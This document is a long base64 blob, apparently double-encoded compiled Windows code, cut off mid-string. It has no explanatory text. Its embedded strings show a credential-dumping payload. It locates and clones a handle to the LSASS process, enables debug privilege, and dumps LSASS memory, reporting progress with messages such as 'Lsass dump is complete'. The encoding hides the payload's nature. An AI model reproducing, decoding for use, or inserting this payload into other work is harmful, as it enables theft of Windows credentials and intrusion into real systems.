QUF1bXdBQUFCSXVHNTBaR3hzTG1Sc3VYSnpBQUJJaVlRa2pBQUFBRWk0VW5Sc1IyVjBUblJtaVpRa2xBQUFBRWk2Vm1WeWMybHZiazVJaVlRa3NBQUFBRWlOaENTTUFBQUFTSW1VSkxnQUFBQm1pWXdreEFBQUFFaUp3Y2VFSk1BQUFBQjFiV0pseG9Ra3hnQUFBQUJJaVVRa1VQK1dxQUFBQUV5SjRrbUp4a2lKd2YrVzBBQUFBRWlKK2tpSmZDUm9USTJFSklnQUFBQk1pVVFrTUVpTmpDU0FBQUFBLzlCTWlmRkZNZmFCcENTSUFBQUEvLzhBQVArV3VBQUFBQSszaENUd0FBQUF4b1FrSndFQUFBSEhoQ1EwQVFBQUFnQUFBR2FKaENRZ0FRQUFpNFFrSEFFQUFNZUVKRHdCQUFBUUFBQUFpWVFrSWdFQUFJdUVKQkFCQUFCSXg0UWtRQUVBQUFBQUFBQ0loQ1FtQVFBQWk0UWtnQUFBQUVqSGhDUklBUUFBQUFBQUFJbUVKQ2dCQUFDTGhDU0VBQUFBaVlRa0xBRUFBSXVFSklnQUFBQ0poQ1F3QVFBQWk0UWs0QUVBQUlQQU9JbUVKRGdCQUFCRWlmSC9sc0FBQUFDRndIUVJTSW5ZUklueFNOUGdTQW1FSkVBQkFBQkJnOFlCUVlQK1FIWFlpNVFrNEFFQUFFVXh5VVV4d0VpSjcwaUxqQ1RZQVFBQVNJMWNKSGovbHFBQUFBQklpWFFrSUVtSjZVaU5oQ1FnQVFBQVNJdU1KTmdCQUFCSWljSkJ1RGdBQUFCSWlVUWtRT2hxQ1FBQU1jQzVRQUFBQUlPRUpPQUJBQUE0ODBpclNJbnAvNWJJQUFBQVNJbDBKQ0JJalZRa2ZFaUxqQ1RZQVFBQUFjQkppZGxCdUFRQUFBQ0pSQ1I4NkNrSkFBQklpWFFrSUVtSjJVaUo2a1NMUkNSOFNJdU1KTmdCQUFEb0RBa0FBSXRFSkh4Rk1jbEZNY0FEaENUZ0FRQUFpNVFrM0FBQUFNZUVKS2dBQUFBNEFBQUFnOEFFU0l1TUpOZ0JBQUNKaENUZ0FRQUEvNWFnQUFBQVNJbDBKQ0JKaWVsSWpZUWtwQUFBQUVpTGpDVFlBUUFBU0luQ1FiZ01BQUFBU0lsRUpFam9wZ2dBQUl1RUpPQUJBQUNMakNUSUFRQUF4NFFrcEFBQUFBUUFBQUNKUkNSZ2lZUWtyQUFBQUlYSkQ0UlVDQUFBZytrQlNJdVVKTUFCQUFCSWFja29BZ0FBU0luUVRJMkVDaWdDQUFBeHlROGZBSU00QVlQUkFFZ0ZLQUlBQUV3NXdIWHZhOGxzUlRIMlRJbGtKRmhNamJ3a0ZBSUFBTWVFSklRQUFBQUFBQUFBUlluMGpVRUVpMHdrWUluSGlVUWtaSW5JQWZoSWpid2tPQUVBQUltRUpPQUJBQUNOUVFTSlJDUTg2dzBQSDBRQUFFaUxsQ1RBQVFBQVJJbmpTR25iS0FJQUFFaU5EQnFMQVlYQUQ0VWhBZ0FBU0lQQkhQK1d5QUFBQUVpTGxDVEFBUUFBVEluNWpVUUFBa2dCMm9tRUpCQUNBQUJJZzhJYy81WUFBUUFBaTVRazRBRUFBRVV4eVVVeHdFZ0RuQ1RBQVFBQVNJdU1KTmdCQUFCSWkwTUlTSW1FSkNBQkFBQ0xReENKaENRb0FRQUFpME1ZaVlRa0xBRUFBSXRERkl1Y0pCQUNBQUNKbENRMEFRQUFpWVFrTUFFQUFJMUQvb1BEQkltRUpCQUNBQUQvbHFBQUFBQkJpZGhOaWVsSWllcElpWFFrSUVpTGpDVFlBUUFBNkNnSEFBQUJuQ1RnQVFBQVRJbjVTSXRVSkRESGhDU3dBQUFBWEFBQUFFakhCd0FBQUFCSXgwY0lBQUFBQUVqSFJ4QUFBQUFBU01kSEdBQUFBQUJJeDBjZ0FBQUFBRWpIUnlnQUFBQUF4MGN3QUFBQUFQK1c2QUFBQUluRGhjQVBoSklBQUFCTWk3YUFBQUFBLzVhSUFBQUFRWW5ZTWRKSWljRkIvOVpKaWNaSWhjQjBjb3VVSklnQUFBQkppY0ZCaWRoTWlmbi9sdkFBQUFDRndIUkJUSXRNSkZCSWkxUWtXRTJKNkV5SjhmK1crQUFBQUlYQWRDZUR2Q1NNQUFBQU5FRzROQUFBQUVpTGxDVHdBQUFBU0luNVJBOUdoQ1NNQUFBQVJZbkEveFpJaTU2UUFBQUEvNWFJQUFBQVRZbndNZEpJaWNILzA0dUVKSVFBQUFDTFRDUThSVEhKUlRIQVNNZUVKR3dCQUFBQUFBQUFTTWVFSkhRQkFBQUFBQUFBalZBQmE4QnNpWlFraEFBQUFFakhoQ1I4QVFBQUFBQUFBRWpIaENTRUFRQUFBQUFBQUkwVUNFaUxqQ1RZQVFBQS81YWdBQUFBU0lsMEpDQklpMVFrUUUySjZVaUxqQ1RZQVFBQVFiaHNBQUFBNkxjRkFBQkJnOFFCUkR1a0pNZ0JBQUFQZ3EzOS8vOU1pMlFrV0l0VUpHQkZNY2xGTWNBeDIwaUxqQ1RZQVFBQS81YWdBQUFBU0lsMEpDQklpMVFrYUUySjZVaUxqQ1RZQVFBQVFiZ0VBQUFBNkdZRkFBQ0xSQ1JrUlRISlJUSEFTSXVNSk5nQkFBQ0poQ1NvQUFBQWk0UWszQUFBQUkxUURQK1dvQUFBQUVpSmRDUWdTSXRVSkVoSmllbElpNHdrMkFFQUFFRzREQUFBQU9nZEJRQUE2eGNQSHdCTUFmTVBndk1BQUFCSWk1d2tFQUlBQUV3QjgwaUxqQ1NnQVFBQVFia3dBQUFBU1lub1NJbmEvNWJZQUFBQVNJWEFENFRGQUFBQWdid2tNQUlBQUFBUUFBQk1pN1FrS0FJQUFIVzBUSXU4SlBnQkFBQklpN3drRUFJQUFFMkYvdytFT2dRQUFJdUVKQUFDQUFDTGxDUUVBZ0FBT2RBUGdod0VBQUJNaTVhWUFBQUFBZEtKbENRRUFnQUFpVlFrUEV5SlZDUXcvNWFJQUFBQVJJdE1KRHhOaWZneDBreUxWQ1F3U0luQlNjSGhCRUgvMGttSngwaUpoQ1Q0QVFBQVRZWC9ENFFTQkFBQWk0UWtBQUlBQUVpTGpDUW9BZ0FBaWNLRHdBRkl3ZUlFU1FIWFRZbDNDRW1Kemt3QjgwbUpQNG1FSkFBQ0FBQVBndzMvLy8rTGhDUUFBZ0FBaTVRazRBRUFBRVV4eVVVeHdNZUVKS1FBQUFBSkFBQUFqVWdCU0ltRUpQQUFBQUNKejRtVUpLd0FBQUJJaTR3azJBRUFBTUhuQkkwRU9vbDhKR0JJaVlRaytBQUFBUCtXb0FBQUFFaUpkQ1FnVElucVNZbnBTSXVNSk5nQkFBQkJ1QWdBQUFCRk1lM29xQU1BQUl1RUpPQUJBQUJGTWNsRk1jQklpNHdrMkFFQUFJMVFDSW1VSk9BQkFBRC9scUFBQUFCSWlYUWtJRW1KNlVpTGpDVFlBUUFBU0kyVUpQZ0FBQUJCdUFnQUFBRG9ZQU1BQUl1RUpPQUJBQUNOZUFpTGhDUUFBZ0FBaVh3a1BFR0p4a0hCNWdSQkFmNUVpYlFrNEFFQUFJWEFENFNnQVFBQVJJbHNKREJJaTN3a1VBOGZnQUFBQUFCRWkzd2tNRVV4eVVVeHdFVXg3VWlMaENUNEFRQUFTSXVNSk5nQkFBQkp3ZWNFVEFINFNJc1FTSXRBQ0VpSmxDUWdBUUFBVElueVNJbUVKQ2dCQUFEL2x1QUFBQUJJaTRRaytBRUFBRXdCK0VpTFdBaEloZHQxSnVuU0FBQUFacEJJaTRRaytBRUFBRW1CeFFBRUFBQk1BZmhJaTFnSVREbnJENGF4QUFBQVNZblpSQ25yVFNucFNZSDUvd01BQUhZTFFia0FCQUFBdXdBRUFBQklpeEJNaVdRa0lFbUo2RWlMakNTZ0FRQUFTTWVFSkxBQUFBQUFBQUFBVEFIcTZEM3ovLytGd0hXWlNJbDBKQ0JKaWZsQmlkaElpZXBJaTR3azJBRUFBT2crQWdBQTZYbi8vLzltRHgrRUFBQUFBQUJJQWNJNVNsQVBoTUgxLy8rTEFvWEFkZTVJaTc2UUFBQUEvNWFJQUFBQVNZbllNZEpJaWNILzF6SEFTSUhFR0FZQUFGdGVYMTFCWEVGZFFWNUJYOE9RaTF3a1BFaUxqQ1RZQVFBQVJUSEpSVEhBVEFPMEpDZ0JBQUNKMm9QREVQK1dvQUFBQUVpSmRDUWdTSXRVSkVCTmllRklpNHdrMkFFQUFFRzRFQUFBQU9pckFRQUFnMFFrTUFHTFJDUXdpVndrUER1RUpBQUNBQUFQZ25IKy8vK0xSQ1JnU0l1TUpOZ0JBQUJGTWNsRk1jQ0poQ1NvQUFBQWk0UWszQUFBQUkxUUdQK1dvQUFBQUVpSmRDUWdTSXRVSkVoSmllbElpNHdrMkFFQUFFRzREQUFBQU9oSUFRQUFpNFFrM0FBQUFFVXh5VVV4d0VpTGpDVFlBUUFBalZBay81YWdBQUFBU0lsMEpDQklpNHdrMkFFQUFFbUo2VWlObENTWUFBQUFRYmdNQUFBQTZBY0JBQUJJaTd3azZBRUFBRWlMbnBBQUFBRC9sb2dBQUFBeDBrbUorRWlKd2YvVFNJdThKUGdCQUFCSWk1NlFBQUFBLzVhSUFBQUFNZEpKaWZoSWljSC8wMGlMdkNUQUFRQUFTSXVla0FBQUFQK1dpQUFBQURIU1NZbjRTSW5CLzlOSWk3d2tzQUVBQUVpTG5wQUFBQUQvbG9nQUFBQXgwa2lKd1VtSitQL1R1QUVBQUFEcGZQNy8vMHlKOGVrMy9QLy9USXUrZ0FBQUFNZUVKQVFDQUFBZ0FBQUEvNWFJQUFBQVFiZ0FBZ0FBTWRKSWljRkIvOWRKaWNkSWlZUWsrQUVBQUUyRi93K0Y3dnYvLzBqSGhDUUFBZ0FBQUFBQUFFeUx0Q1FvQWdBQTZRNzcvLytMUkNSZ3gwUWtaQVFBQUFESGhDU0VBQUFBQUFBQUFJUEFCSW1FSk9BQkFBRHBZUHIvLzBGV1RZbk9RVlZKaWMxQlZGVlhTSW5YVmxORWljTklnK3d3VEl1a0pKQUFBQUJKaTdRa2dBQUFBRUgvbENTSUFBQUFNZEpKaWRoSWljSC8xa2lGd0ErRWd3QUFBRWlKM1VpSnhvWGJkQzB4d0E4ZmdBQUFBQUFQdGhRSGlCUUdTSVBBQVVnNXczWHdTSW53U0FIelpwQ0FNRUZJZzhBQlNEbkRkZlJCaWVoSWlmSk1pZWxOaWZGSXgwUWtJQUFBQUFCQi8xUWtlRW1MbkNTUUFBQUFRZitVSklnQUFBQklnOFF3U1lud01kSklpY0ZJaWRoYlhsOWRRVnhCWFVGZS8rQVBINEFBQUFBQVNJUEVNRnRlWDExQlhFRmRRVjdEa0pDUWtKQ1FrSkNRUVZjeHdFRldRVlZCVkZWWFZraUp6cmtlQUFBQVUwaUI3RmdIQUFCSWpid2tRQUVBQUV5SmhDU3dCd0FBODBpcnVSNEFBQUJJeDBRa1lBQUFBQUJJeDBRa2FBQUFBQURIaENTd0FBQUFNQUFBQUVqSGhDUzRBQUFBQUFBQUFNZUVKTWdBQUFBQUFBQUFTTWVFSk1BQUFBQUFBQUFBeHdjQUFBQUFTSTI4SkZBQ0FBRHpTS3RJdUZBQWNnQnZBR01BU01lRUpOQUFBQUFBQUFBQVNJbUVKSUFBQUFCSXVHVUFjd0J6QUFBQVNJbUVKSWdBQUFDNGN3QUFBRWpIaENUWUFBQUFBQUFBQUVqSFJDUndBQUFBQUVqSFJDUjRBQUFBQUVqSGhDUXdBUUFBQUFBQUFFakhoQ1E0QVFBQUFBQUFBRWpIaENSQUFnQUFBQUFBQUVqSGhDUklBZ0FBQUFBQUFNY0hBQUFBQU1kRUpGcHNjMkZ6Wm9sRUpGNkxEb1hKRDRTVkF3QUFpZFZOaWN3eDIwVXgvMFV4OXVzT0R4OEFnOE1CT1I0UGhqMERBQUNKMzRYdGRBcElqUVIvT1d6R0NIWGxTSTBFZjR0RXhoZzlBQUFRQUErVndUMkpBUklBRDVYQ2hORjB5U1gvLy9mL1BaOEJFZ0IwdlUyRjluUVFRYmdBZ0FBQU1kSk1pZkZCLzFRa09FaU5CSDlJalV3a2FMcEFCQUFBU01kRUpIZ0FBQUFBVEkwc3hreU5UQ1J3UVl0RkNFeU5oQ1N3QUFBQVNJbEVKSERvUE9mLy8wRVB0MVVPeDBRa01BQUFBQUJNalV3a1lNZEVKQ2dBQUFBQVNJdE1KR2hKeDhELy8vLy94MFFrSUJBRUFBRG9QZVQvLzBHNUJBQUFBRUc0QUJBQUFESEp1Z0FRQUFCQi8xUWtTRW1KeGtpRndBK0VHLy8vLzBpTFRDUmdRYmtBRUFBQVNZbkF1Z0lBQUFCSXgwUWtJQUFBQUFEbzl1ci8vNFhBRDRqeS92Ly9TWXRPQ0VpTmxDU0FBQUFBUWY5VUpGQ0Z3QStGMmY3Ly8waU52Q1F3QVFBQU1kSklpMHdrWUVHNUJBRUFBRW1KK0VIL1ZDUmdoY0FQaExUKy8vOUlqWVFrUUFJQUFFaUxUQ1JvUWJnRUFRQUFTSWxFSkVoSWljSkIvMVFrYUlYQUQ0U00vdi8vU0kxVUpGcElpZmxCLzFRa1dFaUZ3QStFZHY3Ly8wSDNSUmdRQkFBQUQ0Um8vdi8vU0l0TUpFaElqYndrWUFNQUFFeU52Q1JRQlFBQVFmOVVKSEM1UGdBQUFFeUxSQ1J3U0xwa0lHRnVaQ0J6ZFVtSndVaTRXeXRkSUVadmRXNUlpWlFrNkFBQUFFaTZiSGtnWTJ4dmJtVklpWVFrNEFBQUFFaTRZMk5sYzNObWRXeElpWVFrOEFBQUFFaTRaQ0JvWVc1a2JHVklpWVFrQUFFQUFFaTRJR3h6WVhOeklHbElpWVFrRUFFQUFFaTRDVnNyWFNCSVlXNUlpWVFra0FBQUFFaTRkSE02SUNWNENnQklpWVFrb0FBQUFESEE4MGlyU0ltVUpQZ0FBQUJJamJ3a1lBVUFBRWk2SUNnbFpDa2dkRys1UGdBQUFFaUpsQ1FJQVFBQVNMcHVPaUFsY3lBb0pmTklxMGlKbENRWUFRQUFTSTI4SkZBREFBQkl1bVJzWlNCU2FXZG9TSW1VSkpnQUFBQklpZmxJalpRazRBQUFBRXlKUkNRZ3g0UWtJQUVBQUdRcENnQkl4NFFrVUFNQUFBQUFBQUJJeDRRa1dBTUFBQUFBQUFCSXg0UWtVQVVBQUFBQUFBQkl4NFFrV0FVQUFBQUFBQUJCLzFRa0dFV0xSUmhNaWZsSWpaUWtrQUFBQUVIL1ZDUVlTSXVNSkxBSEFBQklpZnBCLzFRa0NFeUora2lMakNTd0J3QUFRZjlVSkFoTWkzd2tZSVh0ZFZsTWlmbUR3d0ZCLzFRa0tEa2VENGZKL1AvL1pnOGZSQUFBU0l0TUpHaEloY2wwQlVIL1ZDUW9UWVgyZEJCQnVBQ0FBQUF4MGt5SjhVSC9WQ1E0U0lIRVdBY0FBRXlKK0Z0ZVgxMUJYRUZkUVY1Qlg4TkZNZi9yNUVpTFRDUm9TSVhKZGNEcnlKQ1FrSkJCVjBtSjEwRldUWW5HUVZWQmljMU1pY2xCVkZOTWljdElnZXl3QUFBQTZPd0xBQUJJaGNBUGhGTUJBQUJFaWVwSmlkbE5pZmhJaWNGSmljVG83L3IvLzBtSnhVaUZ3QStFa3dJQUFFaTRXeXBkSUU1dmR5Qk1pZm5HUkNSaUFFaTZkSEo1YVc1bklIUklpVVFrUUVpNGJ5QmtkVzF3SUd4SWlWUWtTRWk2YzJGemN5QXVMaTVJaVVRa1VMZ2dDZ0FBU0lsVUpGaElqVlFrUUdhSlJDUmcvMU1JVElueFJUSEpSVEhBU01kRUpEQUFBQUFBdWdBQUFFREhSQ1FvZ0FBQUFNZEVKQ0FDQUFBQS8xTWdTWW5HU0lQNC93K0VGZ0VBQUV5SjZmOVRNRW1KMlUySjhFeUo2WW5DNkxEci8vK0Z3QStFZUFFQUFFaTRXeXRkSUV4ellYTk1pZmxJdW5NZ1pIVnRjQ0JweDRRa2lBQUFBSFJsQ2dCSWlVUWtjRUcvQVFBQUFFaTRjeUJqYjIxd2JHVklpVlFrZUVpTlZDUndTSW1FSklBQUFBRC9Vd2hOaGZaMEJreUo4ZjlUS0V5SjZmOVRLRUc0QUlBQUFESFNUSW5oLzFNNFNJSEVzQUFBQUVTSitGdEJYRUZkUVY1Qlg4Tm1EeCtFQUFBQUFBQkl1RnN0WFNCR1lXbHNUSW41U0xwbFpDQjBieUJuWmNlRUpKQUFBQUJzWlhNS1NJbEVKSEJGTWY5SXVIUWdZU0JzYVhOMFNJbFVKSGhJdWlCdlppQm9ZVzVrU0ltVUpJZ0FBQUJJalZRa2NFaUpoQ1NBQUFBQXhvUWtsQUFBQUFEL1V3anBlLy8vL3c4ZmhBQUFBQUFBU0xoYkxWMGdRMjkxYkV5SitVaTZaQ0J1YjNRZ2QzTEhoQ1NZQUFBQWFXeGxDa2lKUkNSd1JUSC9TTGhwZEdVZ2RHOGdjMGlKVkNSNFNMcHdaV05wWm1sbFpFaUpoQ1NBQUFBQVNMZ2diM1YwY0hWMFpraUpsQ1NJQUFBQVNJMVVKSEJJaVlRa2tBQUFBTWFFSkp3QUFBQUEvMU1JNmQvKy8vOW1EeDlFQUFCSXVGc3RYU0JUYjIxbFRJbjVSVEgvU0xwMGFHbHVaeUIzWlVpSlJDUndTTGh1ZENCM2NtOXVaMGlKVkNSNFNMb2dkMmhwYkdVZ1pFaUpoQ1NBQUFBQVNMaDFiWEJwYm1jS0FFaUpsQ1NJQUFBQVNJMVVKSEJJaVlRa2tBQUFBUDlUQ09sdC92Ly9aZzhmaEFBQUFBQUFTTGhiTFYwZ1EyOTFiRXlKK1VpNlpDQnViM1FnWm1uSGhDU2dBQUFBYVdRS0FFaUpSQ1J3UlRIL1NMaHVaQ0JoY0hCeWIwaUpWQ1I0U0xwd2NtbGhkR1VnYUVpSmhDU0FBQUFBU0xoaGJtUnNaU0JwYmtpSmxDU0lBQUFBU0xvZ1oybDJaVzRnY0VpSmxDU1lBQUFBU0kxVUpIQklpWVFra0FBQUFQOVRDT254L2YvL2tKQ1FrSkNRa0pDUWtKQ1FRVmU0cUJVQUFFRldRVlZCVkZWWFZsUG9hdHovLzBHNEFCQUFBRWdweEVtSnpESEF1UUFDQUFCSWpid2tvQVVBQUVpTm5DU2dBUUFBU0luVlNNZEVKSEFBQUFBQTgwaXJ1VUFBQUFCSWlkOU1qYlFrb0FNQUFQTklxMHlKOTdsQUFBQUFTSTIwSktBRkFBRHpTS3RNalV3a1pFaUo4a21MVENRUVNNZEVKSGdBQUFBQVNNZUVKSUFBQUFBQUFBQUF4MFFrWkFBQUFBRC9sUkFCQUFDTFJDUmtTSTJNSkpBQUFBQklpVXdrT01Ib0E0bEVKR1FQaElJQkFBQk1qWHdrY0RIL1RJbjRUWW4zU1luR0R4OUFBRW1MVENRUVNJc1dRYmtZQUFBQVRZbncvNVVZQVFBQWhjQVBoRDRCQUFCSmkwd2tFRWlMRmtHNUFBRUFBRW1KMlArVklBRUFBSVhBRDRRZkFRQUFTTGd1QUhNQWJ3QUFBRWlKMmNlRUpKZ0FBQUErQUFBQVNJbEVKR2hJdUR3QVpRQnNBR1lBU0ltRUpKQUFBQUQvbGNnQUFBQkltRXlOREVOSmpWSCtTRG5hY3gvcHZnSUFBR1lQSDRRQUFBQUFBSVA0TDNRVVNJMUMva2c1MkhJUFNJbkNEN2NDZy9oY2RlZElnOElDU1NuUnVmOEFBQUJCdVA4QUFBQk5pYzFNaVV3a0tFblIvVW1CK2Y4QkFBQk1EMGZwVEluNVM0MUVMUUJJaVVRa1FFd0IrRWlKUkNRdy8xVUFTSXRFSkRCTWkwd2tLREhKWm9rSVNZUDVDQStIaGdBQUFFbUQrUVlQaDVVQUFBQk1pZnJyQ3c4ZmdBQUFBQUJJZzhJQ0Q3Y0NSSTFBdjQxSUlHWkJnL2dhRDBMQlpva0Nab1hBZGVKTWkyd2tjSXRFSkhoSmkwd2tFRXlMUkNRNFRJbnFpVVFrS09nTERRQUFoY0FQaFpNQUFBQ0R4d0ZJZzhZSU9Yd2taQStIa3Y3Ly8waUJ4S2dWQUFCYlhsOWRRVnhCWFVGZVFWL0RaZzhmUkFBQVNZbm9USW5xVEluNTZOb0pBQUJJbUVpRndBK0ZQd0VBQUVpTFJDUkFTSTFVSkdoSmpVd0grditWS0FFQUFJWEFENFZPLy8vL1NZMVYvVW1KNkV5SitlaWpDUUFBU0poSWhjQVBoRFQvLy85SktjVklpMVFrT0V1TlRHLzYvNVVBQVFBQTZSei8vLytMaENUb0FBQUFUWXRFSkRDSlJDUXdpNFFrbUFBQUFJbEVKRUJOaGNBUGhPUUFBQUJCaTBRa09FR0xWQ1E4T2RCeVZVeUxuWmdBQUFBQjBreUpSQ1JZUVlsVUpEeUpWQ1JVVElsY0pFai9sWWdBQUFDTFZDUlVUSXRFSkZoTWkxd2tTRWlKd1V4cHlpZ0NBQUF4MGtILzAwbUp3RW1KUkNRd1RZWEFENFRGQUFBQVFZdEVKRGhJYWNBb0FnQUFTWXRNSkJCTWllcEJ1UVFCQUFCTmpVUUFIUCtWQ0FFQUFFR0xSQ1E0aTB3a0tFaUp3a2hwd0NnQ0FBQkpBMFFrTUlsSUVJdE1KRUNEd2dGTWlXZ0lpVWdVaTB3a01NY0FBQUFBQUlsSUdFR0pWQ1E0NlliKy8vOW1EeCtFQUFBQUFBQkpLY1V4MG1aQ2laUnNvQU1BQU9rWi92Ly9EeDlFQUFCQngwUWtQQ0FBQUFCTWk0MkFBQUFBVElsTUpFai9sWWdBQUFCQnVBQkZBQUJNaTB3a1NESFNTSW5CUWYvUlNZbkFTWWxFSkRCTmhjQVBoVHYvLy85SngwUWtPQUFBQUFEcEdQNy8vMEc0L3dBQUFFeUp5a3lKK2Y5VkFESEFab21FSktBREFBRHBxZjMvLzVDUWtKQ1FrSkNRa0pDUWtKQkJWYnA4WWZST1FWUkppY3k1WTlkUDVsZElnZXhRQWdBQTZJSUNBQUJJaGNBUGhIc0JBQUJKaWNDNExnQUFBRWlOZkNSQXVSNEFBQUJtaVVRa0xqSEFRUSsyRkNUelNLdTVIZ0FBQUVqSFJDUXdBQUFBQUVqSFJDUTRBQUFBQUVqSGhDUkFBUUFBQUFBQUFFakhoQ1JJQVFBQUFBQUFBTWNIQUFBQUFFaU52Q1JRQVFBQTgwaXJ4d2NBQUFBQWhOSjBHbVlQSDBRQUFBKzJ5RWlEd0FHSVZBd3dRUSsyRkFTRTBuWHNUSTFrSkRCSWpWUWtMa3lKNFVILzBFbUp3RWlGd0ErRTJnQUFBQSsyVUFIR0FBQ0UwZytFQ1FFQUFESEFEeCtBQUFBQUFBKzJ5RWlEd0FHSWxBeEFBUUFBUVErMlZBQUJoTkoxNkErMmhDUkFBUUFBaE1BUGhOZ0FBQUJNallRa1FRRUFBTGtGRlFBQUR4OEFpY3BKZzhBQndlSUZBZEFCd1VFUHRrRC9oTUIxNm9IeFJFTkNRVUdKelErMlJDUXdoTUFQaEtjQUFBQk1qVVFrTWJrRkZRQUFacENKeWttRHdBSEI0Z1VCMEFIQlFRKzJRUCtFd0hYcWdmRkVRMEpCNkk4QUFBQklpY0ZJaGNCMEYwU0o2dWl2Q0FBQVNJSEVVQUlBQUY5QlhFRmR3MmFRdVRHdEFqSG9aZ0FBQUVpSndVaUZ3SFVXTWNCSWdjUlFBZ0FBWDBGY1FWM0REeCtBQUFBQUFMcS9zLzBlNkc0SUFBQkloY0IwMjB5SjRmL1FTSW5CU0lYQWRhVXh3T3ZNRHgrRUFBQUFBQUJCdlVGV1FrSHBUUC8vLzdsQlZrSkI2WGYvLy8rUWtKQ1FrSkNRa0pDUWtHVklpd1FsWUFBQUFFaUxRQmlCOFVSRFFrRkJpY3BNaTFnZ1RZblpEeDhBU1l0SlVFaUZ5WFJqRDdjQlpvWEFkRjlJaWNvUEgwQUFSSTFBdjJaQmcvZ1pkd2FEd0NCbWlRSVB0MElDU0lQQ0FtYUZ3SFhpRDdjQlpvWEFkREpCdUFVVkFBQVBIMEFBUkluQ1NJUEJBc0hpQlFIUVFRSEFEN2NCWm9YQWRlbEZPY0owRjAyTENVMDV5M1dVTWNERGtFRzRCUlVBQUVVNXduWHBTWXRCSU1OQlZFR0oxRk9KeTBpRDdGam9ULy8vLzBpRndIVWl1VEd0QWpIb1FQLy8vMGlKd1VpRndIVW9TSVBFV0RIQVcwRmN3MllQSDBRQUFFaUR4RmhFaWVKSWljRmJRVnpwUmdjQUFHWVBIMFFBQUxxL3MvMGU2RFlIQUFCSWhjQjB5WUg3bCt4Ym1BK0VoUUFBQUlIN0RjbGlKZytFNlFBQUFJSDdZOWRQNWcrRXRRQUFBSUg3aUNiNEFBK0VBUUVBQUlIN3V3N085WFdSU0xwQmNHa3RiWE10ZDhaRUpFSUFTTGxwYmkxamIzSmxMVWlKVkNRZ1NMcDJaWEp6YVc5dUxVaUpUQ1FvU0xsc01TMHhMVEF1WkVpSlZDUXd1bXhzQUFCSWlVd2tPRWlOVENRZ1pvbFVKRUQvMEVpSndlc3NacEJCdUd4c0FBQklqVXdrSU1aRUpDb0FTTHRWYzJWeU16SXVaRWlKWENRZ1prU0pSQ1FvLzlCSWljRkloY2tQaEFYLy8vOUlnOFJZUkluaVcwRmM2VjRHQUFCbUR4OUVBQUJJdTFOb2JIZGhjR2t1U0kxTUpDREhSQ1FvWkd4c0FFaUpYQ1FnLzlCSWljSHJ2dzhmUkFBQVNMdEJaSFpoY0drek1raU5UQ1FneGtRa0xBQklpVndrSU1kRUpDZ3VaR3hzLzlCSWljSHJrZzhmaEFBQUFBQUFTTHRRYzJGd2FTNWtiTGxzQUFBQVpvbE1KQ2hJalV3a0lFaUpYQ1FnLzlCSWljSHBZdi8vLzVDUWtKQ1FrSkNRUVZSRk1jQkZNZVJXVTBpSnkwaUQ3RERIUkNRc0FBQUFBRWlOZENRc1NZbnhUSW5pdVJBQUFBRG9qTjMvLzRYQWVRbzlCQUFBd0hRWFJUSGtTSVBFTUV5SjRGdGVRVnpERHgrRUFBQUFBQUJOaGVSMERrRzRBSUFBQURIU1RJbmgvMU00UWJnQUVBQUFpMVFrTEVHNUJBQUFBREhKLzFOSVJJdEVKQ3hKaWNUcm5KQ1FrSkNRa0pDUWtKQ1FrSkNRUVZkQlZrV0p4a0ZWVFluTlFWUlZNZTFYU0lub1Zvbk91U2NBQUFCVFNJblRTSUhzeUFVQUFFaU52Q1NBQUFBQVRJMjhKSUFBQUFEelNLdE1pZm5vN1FZQUFFR0p4SVhBZFI1SWdjVElCUUFBUkluZ1cxNWZYVUZjUVYxQlhrRmZ3dzhmZ0FBQUFBQk1pZm5vQUEwQUFFR0p4SVhBRDRRZEFnQUFoZllQaE1VQUFBQkl1RnNxWFNCRGFHVmpUSW5wU0xwcmFXNW5JR1p2Y3NhRUpBQUVBQUFBU0ltRUpNQURBQUJCdkFFQUFBQkl1Q0J3Y205alpYTnpTSW1VSk1nREFBQkl1bVZ6SUhkcGRHZ2dTSW1FSk5BREFBQkl1R0VnYzNWcGRHRmlTSW1VSk5nREFBQkl1bXhsSUdoaGJtUnNTSW1FSk9BREFBQkl1R1VnZEc4Z2JITmhTSW1VSk9nREFBQkl1bk56SUM0dUxpQUtTSW1VSlBnREFBQklqWlFrd0FNQUFFaUpoQ1R3QXdBQS81UWtpQUFBQUV5SitreUo2ZWhDQlFBQTZRZi8vLzhQSDBRQUFFaU52Q1RRQVFBQXVUNEFBQUJGaWZER1JDUnlBRWk0V3lwZElFRjBkR1ZJdW0xd2RHbHVaeUIwU01lRUpNQURBQUFBQUFBQVRJMmtKTUFEQUFCSWlVUWtRRWlOdENUQUFRQUFTTGh2SUdOc2IyNWxJRWlKUkNSUVNMaHVaR3hsSUdaeWIwaUpSQ1JndUdRS0FBQm1pVVFrY0VpNFd5cGRJRTkxZEdaSWlVUWtJRWlKNlBOSXEwaUpWQ1JJdVQ0QUFBQkl1bXh6WVhOeklHaGhTSTI4Sk5BREFBQklpVlFrV0VpNmJTQndhV1E2SUNWSXg0UWt5QU1BQUFBQUFBRHpTS3RJaWZGSWlWUWthRWk2YVd4bE9pQWxjd3BJaVZRa0tFaU5WQ1JBeGtRa01BQkl4NFFrd0FFQUFBQUFBQUJJeDRRa3lBRUFBQUFBQUFEL2xDU1lBQUFBU1luWVRJbmhTSTFVSkNEL2xDU1lBQUFBU0lueVRJbnAvNVFraUFBQUFFeUo0a3lKNlVHOEFRQUFBUCtVSklnQUFBQk5pZmxKaWRoTWllcEVpZkhvMVBELy8rbTUvZi8vRHgrQUFBQUFBRWk2WkNCdWIzUWdaVzVNaWVsSXVGc3RYU0JEYjNWc3g0UWs0QU1BQUd4bFoyVklpWlFreUFNQUFFaTZkV2NnY0hKcGRtbElpWVFrd0FNQUFFaTRZV0pzWlNCRVpXSklpWlFrMkFNQUFMb0tBQUFBWm9tVUpPUURBQUJJalpRa3dBTUFBRWlKaENUUUF3QUEvNVFraUFBQUFPazcvZi8va0VGVlJUSEpSVEhTU0xndUFHRUFZd0J0QUVGVVZWZElpYzh4eVZaSWlkWXgwbE5NaWNORk1jQklnZXlvQUFBQVNJbEVKQ1F4d0V5TlpDUWtTSTFzSkdCbWlVUWtMRWk0TGdCa0FHd0FiQUJJaVVRa0xraTRMZ0JrQUhJQWRnQklpVVFrT0VpNExnQmxBSGdBWlFCSWlVUWtRa2k0TGdCdkFHTUFlQUJJaVVRa1RFaTRMZ0IyQUhnQVpBQklpVVFrVmtpTlJDUXVTSWxFSkdoSWpVUWtPRWlKUkNSd1NJMUVKRUpJaVVRa2VFaU5SQ1JNU0ltRUpJQUFBQUJJalVRa1ZtYUpWQ1EyWm9sTUpFQm1SSWxFSkVwbVJJbE1KRl